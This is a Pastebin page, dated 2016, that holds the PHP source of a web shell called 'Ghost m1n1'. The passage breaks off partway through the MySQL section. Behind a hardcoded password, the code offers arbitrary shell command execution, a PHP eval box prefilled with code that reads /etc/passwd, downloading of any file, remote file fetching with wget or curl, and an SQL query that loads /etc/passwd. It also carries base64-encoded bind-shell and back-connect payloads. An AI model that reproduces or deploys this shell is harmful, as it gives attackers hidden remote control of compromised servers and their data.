API tools faq
paste
rollqe

priv81

rollqe
Dec 4th, 2016
127
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 42.84 KB | None | 0 0
raw download clone embed print report
  1. <?php
  2. echo '<img src="http://ww3s.ws/TR/HTML5/CSS3/fsocity.jpg" height="0" width="0"><body>';
  3. error_reporting(0);
  4. @set_time_limit(0);
  5. @session_start();
  6. $xSoftware = trim(getenv("SERVER_SOFTWARE"));
  7. $xServerName = $_SERVER["HTTP_HOST"];
  8. $xPass = $_POST['pass'];
  9. $xCheck_login = 1;
  10. $xPassword = "kjubi666";
  11. $xName = "./Kjubi";
  12. if (isset($_GET['dl']) && ($_GET['dl'] != "")) {
  13. $file = $_GET['dl'];
  14. $filez = @file_get_contents($file);
  15. header("Content-type: application/octet-stream");
  16. header("Content-length: " . strlen($filez));
  17. header("Content-disposition: attachment; filename=\"" . basename($file) . "\";");
  18. echo $filez;
  19. exit;
  20. } elseif (isset($_GET['dlgzip']) && ($_GET['dlgzip'] != "")) {
  21. $file = $_GET['dlgzip'];
  22. $filez = gzencode(@file_get_contents($file));
  23. header("Content-Type:application/x-gzip\n");
  24. header("Content-length: " . strlen($filez));
  25. header("Content-disposition: attachment; filename=\"" . basename($file) . ".gz\";");
  26. echo $filez;
  27. exit;
  28. }
  29. if (isset($_GET['img'])) {
  30. @ob_clean();
  31. $d = magicboom($_GET['y']);
  32. $f = $_GET['img'];
  33. $inf = @getimagesize($d . $f);
  34. $ext = explode($f, ".");
  35. $ext = $ext[count($ext) - 1];
  36. @header("Content-type: " . $inf["mime"]);
  37. @header("Cache-control: public");
  38. @header("Expires: " . date("r", mktime(0, 0, 0, 1, 1, 2030)));
  39. @header("Cache-control: max-age=" . (60 * 60 * 24 * 7));
  40. @readfile($d . $f);
  41. exit;
  42. }
  43. $ver = "1.01";
  44. $software = getenv("SERVER_SOFTWARE");
  45. if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on")
  46. $safemode = TRUE;
  47. else
  48. $safemode = FALSE;
  49. $system = @php_uname();
  50. if (strtolower(substr($system, 0, 3)) == "win")
  51. $win = TRUE;
  52. else
  53. $win = FALSE;
  54. if (isset($_GET['y'])) {
  55. if (@is_dir($_GET['view'])) {
  56. $pwd = $_GET['view'];
  57. @chdir($pwd);
  58. } else {
  59. $pwd = $_GET['y'];
  60. @chdir($pwd);
  61. }
  62. }
  63. if (!$win) {
  64. if (!$user = rapih(exe("whoami")))
  65. $user = "";
  66. if (!$id = rapih(exe("id")))
  67. $id = "";
  68. $prompt = $user . " \$ ";
  69. $pwd = @getcwd() . DIRECTORY_SEPARATOR;
  70. } else {
  71. $user = @get_current_user();
  72. $id = $user;
  73. $prompt = $user . " &gt;";
  74. $pwd = realpath(".") . "\\";
  75. $v = explode("\\", $d);
  76. $v = $v[0];
  77. foreach (range("A", "Z") as $letter) {
  78. $bool = @is_dir($letter . ":\\");
  79. if ($bool) {
  80. $letters .= "<a href=\"?y=" . $letter . ":\\\">[ ";
  81. if ($letter . ":" != $v) {
  82. $letters .= $letter;
  83. } else {
  84. $letters .= "<span class=\"gaya\">" . $letter . "</span>";
  85. }
  86. $letters .= " ]</a> ";
  87. }
  88. }
  89. }
  90. if (function_exists("posix_getpwuid") && function_exists("posix_getgrgid"))
  91. $posix = TRUE;
  92. else
  93. $posix = FALSE;
  94. $server_ip = @gethostbyname($_SERVER["HTTP_HOST"]);
  95. $my_ip = $_SERVER['REMOTE_ADDR'];
  96. $bindport = "13123";
  97. $bindport_pass = "Ghost";
  98. $pwds = explode(DIRECTORY_SEPARATOR, $pwd);
  99. $pwdurl = "";
  100. for ($i = 0; $i < sizeof($pwds) - 1; $i++) {
  101. $pathz = "";
  102. for ($j = 0; $j <= $i; $j++) {
  103. $pathz .= $pwds[$j] . DIRECTORY_SEPARATOR;
  104. }
  105. $pwdurl .= "<a href=\"?y=" . $pathz . "\">" . $pwds[$i] . " " . DIRECTORY_SEPARATOR . " </a>";
  106. }
  107. if (isset($_POST['rename'])) {
  108. $old = $_POST['oldname'];
  109. $new = $_POST['newname'];
  110. @rename($pwd . $old, $pwd . $new);
  111. $file = $pwd . $new;
  112. }
  113. $buff = $software . "<br />";
  114. $buff .= $system . "<br />";
  115. if ($id != "")
  116. $buff .= $id . "<br />";
  117. $buff .= "server ip : " . $server_ip . " <span class=\"gaya\">|</span> your ip : " . $my_ip . "<br />";
  118. if ($safemode)
  119. $buff .= "safemode <span class=\"gaya\">ON</span><br />";
  120. else
  121. $buff .= "safemode <span class=\"gaya\">OFF<span><br />";
  122. $buff .= $letters . "&nbsp;&gt;&nbsp;" . $pwdurl;
  123. function rapih($text)
  124. {
  125. return trim(str_replace("<br />", "", $text));
  126. }
  127. function magicboom($text)
  128. {
  129. if (!get_magic_quotes_gpc()) {
  130. return $text;
  131. }
  132. return stripslashes($text);
  133. }
  134. function showdir($pwd, $prompt)
  135. {
  136. $fname = array();
  137. $dname = array();
  138. if (function_exists("posix_getpwuid") && function_exists("posix_getgrgid"))
  139. $posix = TRUE;
  140. else
  141. $posix = FALSE;
  142. $user = "????:????";
  143. if ($dh = opendir($pwd)) {
  144. while ($file = readdir($dh)) {
  145. if (is_dir($file)) {
  146. $dname[] = $file;
  147. } elseif (is_file($file)) {
  148. $fname[] = $file;
  149. }
  150. }
  151. closedir($dh);
  152. }
  153. sort($fname);
  154. sort($dname);
  155. $path = @explode(DIRECTORY_SEPARATOR, $pwd);
  156. $tree = @sizeof($path);
  157. $parent = "";
  158. $buff = " <form action=\"?y=" . $pwd . "&amp;x=shell\" method=\"post\" style=\"margin:8px 0 0 0;\"> <table class=\"cmdbox\" style=\"width:50%;\"> <tr><td>$prompt</td><td><input onMouseOver=\"this.focus();\" id=\"cmd\" class=\"inputz\" type=\"text\" name=\"cmd\" style=\"width:400px;\" value=\"\" /><input class=\"inputzbut\" type=\"submit\" value=\"Go !\" name=\"submitcmd\" style=\"width:80px;\" /></td></tr> </form> <form action=\"?\" method=\"get\" style=\"margin:8px 0 0 0;\"> <input type=\"hidden\" name=\"y\" value=\"" . $pwd . "\" /> <tr><td>view file/folder</td><td><input onMouseOver=\"this.focus();\" id=\"goto\" class=\"inputz\" type=\"text\" name=\"view\" style=\"width:400px;\" value=\"" . $pwd . "\" /><input class=\"inputzbut\" type=\"submit\" value=\"Go !\" name=\"submitcmd\" style=\"width:80px;\" /></td></tr> </form></table><table class=\"explore\"> <tr><th>name</th><th style=\"width:80px;\">size</th><th style=\"width:210px;\">owner:group</th><th style=\"width:80px;\">perms</th><th style=\"width:110px;\">modified</th><th style=\"width:190px;\">actions</th></tr> ";
  159. if ($tree > 2)
  160. for ($i = 0; $i < $tree - 2; $i++)
  161. $parent .= $path[$i] . DIRECTORY_SEPARATOR;
  162. else
  163. $parent = $pwd;
  164. foreach ($dname as $folder) {
  165. if ($folder == ".") {
  166. if (!$win && $posix) {
  167. $name = @posix_getpwuid(@fileowner($folder));
  168. $group = @posix_getgrgid(@filegroup($folder));
  169. $owner = $name['name'] . "<span class=\"gaya\"> : </span>" . $group['name'];
  170. } else {
  171. $owner = $user;
  172. }
  173. $buff .= "<tr><td><a href=\"?y=" . $pwd . "\">$folder</a></td><td>LINK</td><td style=\"text-align:center;\">" . $owner . "</td><td>" . get_perms($pwd) . "</td><td style=\"text-align:center;\">" . date("d-M-Y H:i", @filemtime($pwd)) . "</td><td><span id=\"titik1\"><a href=\"?y=$pwd&amp;edit=" . $pwd . "newfile.php\">newfile</a> | <a href=\"javascript:tukar('titik1','titik1_form');\">newfolder</a></span> <form action=\"?\" method=\"get\" id=\"titik1_form\" class=\"sembunyi\" style=\"margin:0;padding:0;\"> <input type=\"hidden\" name=\"y\" value=\"" . $pwd . "\" /> <input class=\"inputz\" style=\"width:140px;\" type=\"text\" name=\"mkdir\" value=\"a_new_folder\" /> <input class=\"inputzbut\" type=\"submit\" name=\"rename\" style=\"width:35px;\" value=\"Go !\" /> </form></td></tr> ";
  174. } elseif ($folder == "..") {
  175. if (!$win && $posix) {
  176. $name = @posix_getpwuid(@fileowner($folder));
  177. $group = @posix_getgrgid(@filegroup($folder));
  178. $owner = $name['name'] . "<span class=\"gaya\"> : </span>" . $group['name'];
  179. } else {
  180. $owner = $user;
  181. }
  182. $buff .= "<tr><td><a href=\"?y=" . $parent . "\">$folder</a></td><td>LINK</td><td style=\"text-align:center;\">" . $owner . "</td><td>" . get_perms($parent) . "</td><td style=\"text-align:center;\">" . date("d-M-Y H:i", @filemtime($parent)) . "</td><td><span id=\"titik2\"><a href=\"?y=$pwd&amp;edit=" . $parent . "newfile.php\">newfile</a> | <a href=\"javascript:tukar('titik2','titik2_form');\">newfolder</a></span> <form action=\"?\" method=\"get\" id=\"titik2_form\" class=\"sembunyi\" style=\"margin:0;padding:0;\"> <input type=\"hidden\" name=\"y\" value=\"" . $pwd . "\" /> <input class=\"inputz\" style=\"width:140px;\" type=\"text\" name=\"mkdir\" value=\"a_new_folder\" /> <input class=\"inputzbut\" type=\"submit\" name=\"rename\" style=\"width:35px;\" value=\"Go !\" /> </form> </td></tr>";
  183. } else {
  184. if (!$win && $posix) {
  185. $name = @posix_getpwuid(@fileowner($folder));
  186. $group = @posix_getgrgid(@filegroup($folder));
  187. $owner = $name['name'] . "<span class=\"gaya\"> : </span>" . $group['name'];
  188. } else {
  189. $owner = $user;
  190. }
  191. $buff .= "<tr><td><a id=\"" . clearspace($folder) . "_link\" href=\"?y=" . $pwd . $folder . DIRECTORY_SEPARATOR . "\">[ $folder ]</a> <form action=\"?y=$pwd\" method=\"post\" id=\"" . clearspace($folder) . "_form\" class=\"sembunyi\" style=\"margin:0;padding:0;\"> <input type=\"hidden\" name=\"oldname\" value=\"" . $folder . "\" style=\"margin:0;padding:0;\" /> <input class=\"inputz\" style=\"width:200px;\" type=\"text\" name=\"newname\" value=\"" . $folder . "\" /> <input class=\"inputzbut\" type=\"submit\" name=\"rename\" value=\"rename\" /> <input class=\"inputzbut\" type=\"submit\" name=\"cancel\" value=\"cancel\" onclick=\"tukar('" . clearspace($folder) . "_form','" . clearspace($folder) . "_link');\" /> </form> <td>DIR</td><td style=\"text-align:center;\">" . $owner . "</td><td>" . get_perms($pwd . $folder) . "</td><td style=\"text-align:center;\">" . date("d-M-Y H:i", @filemtime($folder)) . "</td><td><a href=\"javascript:tukar('" . clearspace($folder) . "_link','" . clearspace($folder) . "_form');\">rename</a> | <a href=\"?y=$pwd&amp;fdelete=" . $pwd . $folder . "\">delete</a></td></tr>";
  192. }
  193. }
  194. foreach ($fname as $file) {
  195. $full = $pwd . $file;
  196. if (!$win && $posix) {
  197. $name = @posix_getpwuid(@fileowner($file));
  198. $group = @posix_getgrgid(@filegroup($file));
  199. $owner = $name['name'] . "<span class=\"gaya\"> : </span>" . $group['name'];
  200. } else {
  201. $owner = $user;
  202. }
  203. $buff .= "<tr><td><a id=\"" . clearspace($file) . "_link\" href=\"?y=$pwd&amp;view=$full\">$file</a> <form action=\"?y=$pwd\" method=\"post\" id=\"" . clearspace($file) . "_form\" class=\"sembunyi\" style=\"margin:0;padding:0;\"> <input type=\"hidden\" name=\"oldname\" value=\"" . $file . "\" style=\"margin:0;padding:0;\" /> <input class=\"inputz\" style=\"width:200px;\" type=\"text\" name=\"newname\" value=\"" . $file . "\" /> <input class=\"inputzbut\" type=\"submit\" name=\"rename\" value=\"rename\" /> <input class=\"inputzbut\" type=\"submit\" name=\"cancel\" value=\"cancel\" onclick=\"tukar('" . clearspace($file) . "_link','" . clearspace($file) . "_form');\" /> </form> </td><td>" . ukuran($full) . "</td><td style=\"text-align:center;\">" . $owner . "</td><td>" . get_perms($full) . "</td><td style=\"text-align:center;\">" . date("d-M-Y H:i", @filemtime($full)) . "</td> <td><a href=\"?y=$pwd&amp;edit=$full\">edit</a> | <a href=\"javascript:tukar('" . clearspace($file) . "_link','" . clearspace($file) . "_form');\">rename</a> | <a href=\"?y=$pwd&amp;delete=$full\">delete</a> | <a href=\"?y=$pwd&amp;dl=$full\">download</a>&nbsp;(<a href=\"?y=$pwd&amp;dlgzip=$full\">gzip</a>)</td></tr>";
  204. }
  205. $buff .= "</table>";
  206. return $buff;
  207. }
  208. function ukuran($file)
  209. {
  210. if ($size = @filesize($file)) {
  211. if ($size <= 1024)
  212. return $size;
  213. else {
  214. if ($size <= 1024 * 1024) {
  215. $size = @round($size / 1024, 2);
  216. ;
  217. return "$size kb";
  218. } else {
  219. $size = @round($size / 1024 / 1024, 2);
  220. return "$size mb";
  221. }
  222. }
  223. } else
  224. return "???";
  225. }
  226. function exe($cmd)
  227. {
  228. if (function_exists('system')) {
  229. @ob_start();
  230. @system($cmd);
  231. $buff = @ob_get_contents();
  232. @ob_end_clean();
  233. return $buff;
  234. } elseif (function_exists('exec')) {
  235. @exec($cmd, $results);
  236. $buff = "";
  237. foreach ($results as $result) {
  238. $buff .= $result;
  239. }
  240. return $buff;
  241. } elseif (function_exists('passthru')) {
  242. @ob_start();
  243. @passthru($cmd);
  244. $buff = @ob_get_contents();
  245. @ob_end_clean();
  246. return $buff;
  247. } elseif (function_exists('shell_exec')) {
  248. $buff = @shell_exec($cmd);
  249. return $buff;
  250. }
  251. }
  252. function tulis($file, $text)
  253. {
  254. $textz = gzinflate(base64_decode($text));
  255. if ($filez = @fopen($file, "w")) {
  256. @fputs($filez, $textz);
  257. @fclose($file);
  258. }
  259. }
  260. function ambil($link, $file)
  261. {
  262. if ($fp = @fopen($link, "r")) {
  263. while (!feof($fp)) {
  264. $cont .= @fread($fp, 1024);
  265. }
  266. @fclose($fp);
  267. $fp2 = @fopen($file, "w");
  268. @fwrite($fp2, $cont);
  269. @fclose($fp2);
  270. }
  271. }
  272. function which($pr)
  273. {
  274. $path = exe("which $pr");
  275. if (!empty($path)) {
  276. return trim($path);
  277. } else {
  278. return trim($pr);
  279. }
  280. }
  281. function download($cmd, $url)
  282. {
  283. $namafile = basename($url);
  284. switch ($cmd) {
  285. case 'wwget':
  286. exe(which('wget') . " " . $url . " -O " . $namafile);
  287. break;
  288. case 'wlynx':
  289. exe(which('lynx') . " -source " . $url . " > " . $namafile);
  290. break;
  291. case 'wfread':
  292. ambil($wurl, $namafile);
  293. break;
  294. case 'wfetch':
  295. exe(which('fetch') . " -o " . $namafile . " -p " . $url);
  296. break;
  297. case 'wlinks':
  298. exe(which('links') . " -source " . $url . " > " . $namafile);
  299. break;
  300. case 'wget':
  301. exe(which('GET') . " " . $url . " > " . $namafile);
  302. break;
  303. case 'wcurl':
  304. exe(which('curl') . " " . $url . " -o " . $namafile);
  305. break;
  306. default:
  307. break;
  308. }
  309. return $namafile;
  310. }
  311. function get_perms($file)
  312. {
  313. if ($mode = @fileperms($file)) {
  314. $perms = '';
  315. $perms .= ($mode & 00400) ? 'r' : '-';
  316. $perms .= ($mode & 00200) ? 'w' : '-';
  317. $perms .= ($mode & 00100) ? 'x' : '-';
  318. $perms .= ($mode & 00040) ? 'r' : '-';
  319. $perms .= ($mode & 00020) ? 'w' : '-';
  320. $perms .= ($mode & 00010) ? 'x' : '-';
  321. $perms .= ($mode & 00004) ? 'r' : '-';
  322. $perms .= ($mode & 00002) ? 'w' : '-';
  323. $perms .= ($mode & 00001) ? 'x' : '-';
  324. return $perms;
  325. } else
  326. return "??????????";
  327. }
  328. function clearspace($text)
  329. {
  330. return str_replace(" ", "_", $text);
  331. }
  332. $port_bind_bd_c = "bVNhb9owEP2OxH+4phI4NINAN00aYxJaW6maxqbSLxNDKDiXxiLYkW3KGOp/3zlOpo7xIY793jv f+fl8KSQvdinCR2NTofr5p3br8hWmhXw6BQ9mYA8lmjO4UXyD9oSQaAV9AyFPCNRa+pRCWtgmQrJ EP/GIhufQg249brd4nmjo9RxBqyNAuwWOdvmyNAKJ+ywlBirhepctruOlW9MJdtzrkjTVKyFB41Z ZdKTIWKb0hoUwmUAcwtFt6+m+EXKVJVtRHGAC07vV/ez2cfwvXSpticytkoYlVglX/fNiuAzDE6V L3TfVrw4o2P1senPzsJrOfoRjl9cfhWjvIatzRvNvn7+s5o8Pt9OvURzWZV94dQgleag0C3wQVKu gUq2FTFnjDzvxAXphx9cXQfxr6PcthLEo/8a8q8B9LgpkQ7oOgKMbvNeThHMsbSOO69IA0l05YpX kHDT8HxrV0F4LizUWfE+M2SudfgiiYbONxiStebrgyIjfqDJG07AWiAzYBc9LivU3MVpGFV2x1J4 WtyxAnivYY8HVFsEqWF+/f7sBk2NRQKcDA/JtsE5MDm9EUG+MhcFqkpX0HmxGbqbkdBTMldaHRsU LZeoDeOSFBvpefCfXhflOpgTkvJ+jtKiR7vLohYKCqS2ZmMRj4Z5gQZfSiMbi6iqkdnHarEEXYuk 6uPtTdumsr0HC4q5rrzNifV7sC3ZWUmq+LVlVa5OfQjTanZYQO+Uf";
  333. $port_bind_bd_pl = "ZZJhT8IwEIa/k/AfjklgS2aA+BFmJDB1cW5kHSZGzTK2Qxpmu2wlYoD/bruBIfitd33uvXuvvWr 1NmXRW1DWy7HImo02ebRd19Kq1CIuV3BNtWGzQZeg342DhxcYwcCAHeCWCn1gDOEgi1yHhLYXzfw gtNqKeut/yKJNiUB4skYhg3ZecMETnlmfKKrz4ofFX6h3RZJ3DUmUFaoTszO7jxzPDs0O8SdPEQk De/xs/gkYsN9DShG0ScwEJAXGAqGufmdq2hKFCnmu1IjvRkpH6hE/Cuw5scfTaWAOVE9pM5WMouM 0LSLK9HM3puMpNhp7r8ZFW54jg5wXx5YZLQUyKXVzwdUXZ+T3imYoV9ds7JqNOElQTjnxPc8kRrV ovaW3c5paS16sjZo6qTEuQKU1UO/RSnFJGaagcFVbjUTCqeOZ2qijNLWzrD8PTe32X9oOgvM0bjG B+hecfOQFlT4UcLSkmI1ceY3VrpKMy9dWUCVCBfTlQX6Owy8=";
  334. $back_connect = "fZFRS8MwF IXfB/sPWSw2hUrnqyPC0CpD3KStvqh0XRpcsE1KkoKF/XiTtCIV6tu55+Z89yY5W0StktGB8aihs prPWkVBKsgn1av5zCN1iQGsOv4Fbak6pWmNgU/JUQC4b3lRU3BR7OFqcFhptMOpo28jS2whVulCf lCNvXVy//K6fLdWI+SPcekMVpSlxIxTnRdacDSEAnA6gZJRBGMphbwC3uKNw8AhXEKZja3ImclYa gh61n9JKbTAhu7EobN3Qb4mjW/byr0BSnc3D3EWgqe7fLO1whp5miXx+tHMcNHpGURw Tskvpd92 +rxoKEdpdrvZhgBen/exUWf3nE214iT52+r/Cw3/5jaqhKL9iFFpuKPawILVNw==";
  335. $back_connect_c = "XVHbagIxEH0X/IdhhZLUWF1f1YKIBelFqfZJliUm2W7obiJJLLWl/94k29r WhyEzc+Z2TjpSserABYyt41JfldftVuc3d7R9q9mLcGeAEk5660sVAakc1FQqFBxqnhkBVlIDl95 /3Wa43fpotyCABR95zzpzYA7CaMq5yaUCK1VAYpup7XaYZpPE1NArIBmBRzgVtVYoJQMcR/jV3vK C1rI6wgSmN/niYb75i+21cR4pnVYWUaclivcMM/xvRDjhysbHVwde0W+K0wzH9bt3YfRPingClVC nim7a/ZuJC0JTwf3ARkD0fR+B9XJ2m683j/PpPYHFavW43CzzzWyFIfbIAhBiWinBHCo4AXSmFlx iuPB3E0/gXejiHMcYjwcYguIAe2GMNijZ9jL4GYqTSB9AvEmHGjk/m19h1CGvPoHIY5A1Oh2tE3X Ie1bxKw77YTyt6T2F 6f9wGEPxJliFkv5Oqr4tE5LYEnoyIfDwdHcXK1ilrfAdUbPPLw==";
  336. $jumper = "3VRRb5swEP4rFwvNRqVAtkmTEiCTpk7aHjppe5rSiBlsilfAyDZrs2r/fefQpM3LfsCEMObuu++7Ox/IutVAMserTkLdcWvzG1L3otIPN6TInMFbQK07O/IBXa/RStbAAttDDmpQ5a10jFreyLLXQtIQ8hzSEDYwQ6huGroCoSQjV8Zos4JvRzC6vwxZ4kSBi/GLT6PIhPp1ykUNjUbNbVlWb969vYN+OSwh89mcILd8z32yHFojm5xuaEHi4OGa9zImWcKR2OMLuBLKKX1dlrssQY0CzpR+zjTwGZ8db+HTIPQgreJ3E7yq9bhfA4kFd5LR7zRyqpcsDGMCz1qwvgxhpibhGqx0pYeVneqVYyma3gcjit0LrLzRoxwYTaSrk9lII2ooglQDbPEEDOHR9w4Y2V7u4NBAWMEHPYnhh4Ovkgt4wfD/9vIPBONUYdu4MXzP0BJMVhp7Zqn10JwZFL6la7hvVSfZopG6Yce+ho84oM74g8AJtif73H6MLGCZph41aq+CWNwwHxPRFT0mMGCy3jtV6Ji9aeRDPEAo89t/Akmre5nQ+BQR0wSr6VRdtq7vEjqLsmfGBUZRn6O3K1saPGh/nuzA6R2HIstxsu0cZqNTNEq/9KJSNIf5NvorUBcXft9o5K1beGIAbueikF76/wLdftTTIGCxg+NAkM0+PyvnvBRS/MOZHOanMgX14pviLw==";
  337. ?>
  338. <html>
  339. <head>
  340. <title>:: Ghost m1n1 <?php
  341. echo $xName;
  342. ?> EditioN ::</title>
  343. <script type="text/javascript"> function tukar(lama,baru){ document.getElementById(lama).style.display = 'none'; document.getElementById(baru).style.display = 'block'; } </script>
  344. <style type="text/css"> body {
  345. background-image: url("http://cdn01.wallconvert.com/_media/conv/1/12/117130-razer-wallpaper-hd.jpg"); background-repeat: repeat-y;
  346. background-position: right top;
  347. } a { text-decoration:none; } a:hover{ border-bottom:1px solid #4C83AF; } *{ font-size:11px; font-family:Tahoma,Verdana,Arial; color:#FFFFFF; } #menu{ background:#111111; margin:8px 2px 4px 2px; } #menu a{ padding:4px 18px; margin:0; background:#222222; text-decoration:none; letter-spacing:2px; } #menu a:hover{ background:#191919; border-bottom:1px solid #333333; border-top:1px solid #333333; } .tabnet{ margin:15px auto 0 auto; border: 1px solid #333333; } .main { width:90%; background:#000000; margin:30px auto 10px; padding:10px 10px 5px 10px; border-radius:5px; -moz-border-radius:5px; -moz-box-shadow:0px 0px 10px #00b4ff; -webkit-box-shadow:0px 0px 5px #00b4ff;} .gaya { color: #4C83AF; } .gaya a { color: #4C83AF; } .inputz{ background:#111111; border:0; padding:2px; border-bottom:1px solid #222222; border-top:1px solid #222222; } .inputzbut{ background:#111111; color:#4C83AF; margin:0 4px; border:1px solid #444444; cursor:pointer;} .inputz:hover, .inputzbut:hover{ border-bottom:1px solid #4C83AF; border-top:1px solid #4C83AF; } .output { margin:auto; border:1px solid #4C83AF; width:100%; height:400px; background:#000000; padding:0 2px; } .cmdbox{ width:100%; } .head_info{ padding: 0 4px; } .b1{ font-size:30px; padding:0; color:#444444; } .b2{ font-size:30px; padding:0; color: #333333; } .b_tbl{ text-align:center; margin:0 4px 0 0; padding:0 4px 0 0; border-right:1px solid #333333; } .phpinfo table{ width:100%; padding:0 0 0 0; } .phpinfo td{ background:#111111; color:#cccccc; padding:6px 8px;; } .phpinfo th, th{ background:#191919; border-bottom:1px solid #333333; font-weight:normal; } .phpinfo h2, .phpinfo h2 a{ text-align:center; font-size:16px; padding:0; margin:30px 0 0 0; background:#222222; padding:4px 0; } .explore{ width:100%; } .explore a { text-decoration:none; } .explore td{ border-bottom:1px solid #333333; padding:0 8px; line-height:24px; } .explore th{ padding:3px 8px; font-weight:normal; } .explore th:hover , .phpinfo th:hover{ border-bottom:1px solid #4C83AF; } .explore tr:hover{ background:#374374; cursor:pointer; } .viewfile{ background:#EDECEB; color:#000000; margin:4px 2px; padding:8px; } .sembunyi{ display:none; padding:0;margin:0;} .info{ background:#111111; width:99%; padding:5px; margin:10px auto 5px; text-align:center; font-size:13px;} .info a{ font-size:14px;} .info span{ font-size:14px;} .jaya{ margin:5px; text-align:right; }
  348. </style>
  349. </head>
  350. <body onLoad="document.getElementById('cmd').focus();">
  351. <div class="main">
  352. <!-- head info start here -->
  353. <div class="head_info">
  354. <table>
  355. <tr>
  356. <td>
  357. <table class="b_tbl">
  358. <tr>
  359. <td><a href="#"><span class="b1">G<span class="b2">HOS</span>T</span></a></td>
  360. </tr>
  361. <tr>
  362. <td><span class="gaya"><?php
  363. echo $xName;
  364. ?></span> EditioN</td>
  365. </tr>
  366. </table>
  367. </td>
  368. <td><?php
  369. echo $buff;
  370. ?></td>
  371. </tr>
  372. </table>
  373. </div>
  374. <!-- head info end here --> <!-- menu start -->
  375. <div id="menu"> <a href="?<?php
  376. echo "y=" . $pwd;
  377. ?>">explore</a> <a href="?<?php
  378. echo "y=" . $pwd;
  379. ?>&amp;x=shell">shell</a> <a href="?<?php
  380. echo "y=" . $pwd;
  381. ?>&amp;x=php">eval</a> <a href="?<?php
  382. echo "y=" . $pwd;
  383. ?>&amp;x=mysql">mysql</a> <a href="?<?php
  384. echo "y=" . $pwd;
  385. ?>&amp;x=phpinfo">phpinfo</a> <a href="?<?php
  386. echo "y=" . $pwd;
  387. ?>&amp;x=netsploit">netsploit</a> <a href="?<?php
  388. echo "y=" . $pwd;
  389. ?>&amp;x=upload">upload</a> <a href="?<?php
  390. echo "y=" . $pwd;
  391. ?>&amp;x=jumping">jumping</a> <a href="?<?php
  392. echo "y=" . $pwd;
  393. ?>&amp;x=logout">logout</a> </div>
  394. <!-- menu end --> <?php
  395. if (isset($_GET['x']) && ($_GET['x'] == 'php')) {
  396. ?>
  397. <form action="?y=<?php
  398. echo $pwd;
  399. ?>&amp;x=php" method="post">
  400. <table class="cmdbox">
  401. <tr>
  402. <td> <textarea class="output" name="cmd" id="cmd"> <?php
  403. if (isset($_POST['submitcmd'])) {
  404. echo eval(magicboom($_POST['cmd']));
  405. } else
  406. echo "echo file_get_contents('/etc/passwd');";
  407. ?> </textarea>
  408. <tr>
  409. <td><input style="width:6%;margin:0px;" class="inputzbut" type="submit" value="Go !" name="submitcmd" /></td>
  410. </tr>
  411. </form>
  412. </table> </form> <?php
  413. } elseif (isset($_GET['x']) && ($_GET['x'] == 'mysql')) {
  414. if (isset($_GET['sqlhost']) && isset($_GET['sqluser']) && isset($_GET['sqlpass']) && isset($_GET['sqlport'])) {
  415. $sqlhost = $_GET['sqlhost'];
  416. $sqluser = $_GET['sqluser'];
  417. $sqlpass = $_GET['sqlpass'];
  418. $sqlport = $_GET['sqlport'];
  419. if ($con = @mysql_connect($sqlhost . ":" . $sqlport, $sqluser, $sqlpass)) {
  420. $msg .= "<div style=\"width:99%;padding:4px 10px 0 10px;\">";
  421. $msg .= "<p>Connected to " . $sqluser . "<span class=\"gaya\">@</span>" . $sqlhost . ":" . $sqlport;
  422. $msg .= "&nbsp;&nbsp;<span class=\"gaya\">-&gt;</span>&nbsp;&nbsp;<a href=\"?y=" . $pwd . "&amp;x=mysql&amp;sqlhost=" . $sqlhost . "&amp;sqluser=" . $sqluser . "&amp;sqlpass=" . $sqlpass . "&amp;sqlport=" . $sqlport . "&amp;\">[ databases ]</a>";
  423. if (isset($_GET['db']))
  424. $msg .= "&nbsp;&nbsp;<span class=\"gaya\">-&gt;</span>&nbsp;&nbsp;<a href=\"?y=" . $pwd . "&amp;x=mysql&amp;sqlhost=" . $sqlhost . "&amp;sqluser=" . $sqluser . "&amp;sqlpass=" . $sqlpass . "&amp;sqlport=" . $sqlport . "&amp;db=" . $_GET['db'] . "\">" . htmlspecialchars($_GET['db']) . "</a>";
  425. if (isset($_GET['table']))
  426. $msg .= "&nbsp;&nbsp;<span class=\"gaya\">-&gt;</span>&nbsp;&nbsp;<a href=\"?y=" . $pwd . "&amp;x=mysql&amp;sqlhost=" . $sqlhost . "&amp;sqluser=" . $sqluser . "&amp;sqlpass=" . $sqlpass . "&amp;sqlport=" . $sqlport . "&amp;db=" . $_GET['db'] . "&amp;table=" . $_GET['table'] . "\">" . htmlspecialchars($_GET['table']) . "</a>";
  427. $msg .= "</p><p>version : " . mysql_get_server_info($con) . " proto " . mysql_get_proto_info($con) . "</p>";
  428. $msg .= "</div>";
  429. echo $msg;
  430. if (isset($_GET['db']) && (!isset($_GET['table'])) && (!isset($_GET['sqlquery']))) {
  431. $db = $_GET['db'];
  432. $query = "DROP TABLE IF EXISTS Ghost_table;\nCREATE TABLE `Ghost_table` ( `file` LONGBLOB NOT NULL );\nLOAD DATA INFILE \"/etc/passwd\"\nINTO TABLE Ghost_table;SELECT * FROM Ghost_table;\nDROP TABLE IF EXISTS Ghost_table;";
  433. $msg = "<div style=\"width:99%;padding:0 10px;\"><form action=\"?\" method=\"get\"> <input type=\"hidden\" name=\"y\" value=\"" . $pwd . "\" /> <input type=\"hidden\" name=\"x\" value=\"mysql\" /> <input type=\"hidden\" name=\"sqlhost\" value=\"" . $sqlhost . "\" /> <input type=\"hidden\" name=\"sqluser\" value=\"" . $sqluser . "\" /> <input type=\"hidden\" name=\"sqlport\" value=\"" . $sqlport . "\" /> <input type=\"hidden\" name=\"sqlpass\" value=\"" . $sqlpass . "\" /> <input type=\"hidden\" name=\"db\" value=\"" . $db . "\" /> <p><textarea name=\"sqlquery\" class=\"output\" style=\"width:98%;height:80px;\">$query</textarea></p> <p><input class=\"inputzbut\" style=\"width:80px;\" name=\"submitquery\" type=\"submit\" value=\"Go !\" /></p> </form></div> ";
  434. $tables = array();
  435. $msg .= "<table class=\"explore\" style=\"width:99%;\"><tr><th>available tables on " . $db . "</th></tr>";
  436. $hasil = @mysql_list_tables($db, $con);
  437. while (list($table) = @mysql_fetch_row($hasil)) {
  438. @array_push($tables, $table);
  439. }
  440. @sort($tables);
  441. foreach ($tables as $table) {
  442. $msg .= "<tr><td><a href=\"?y=" . $pwd . "&amp;x=mysql&amp;sqlhost=" . $sqlhost . "&amp;sqluser=" . $sqluser . "&amp;sqlpass=" . $sqlpass . "&amp;sqlport=" . $sqlport . "&amp;db=" . $db . "&amp;table=" . $table . "\">$table</a></td></tr>";
  443. }
  444. $msg .= "</table>";
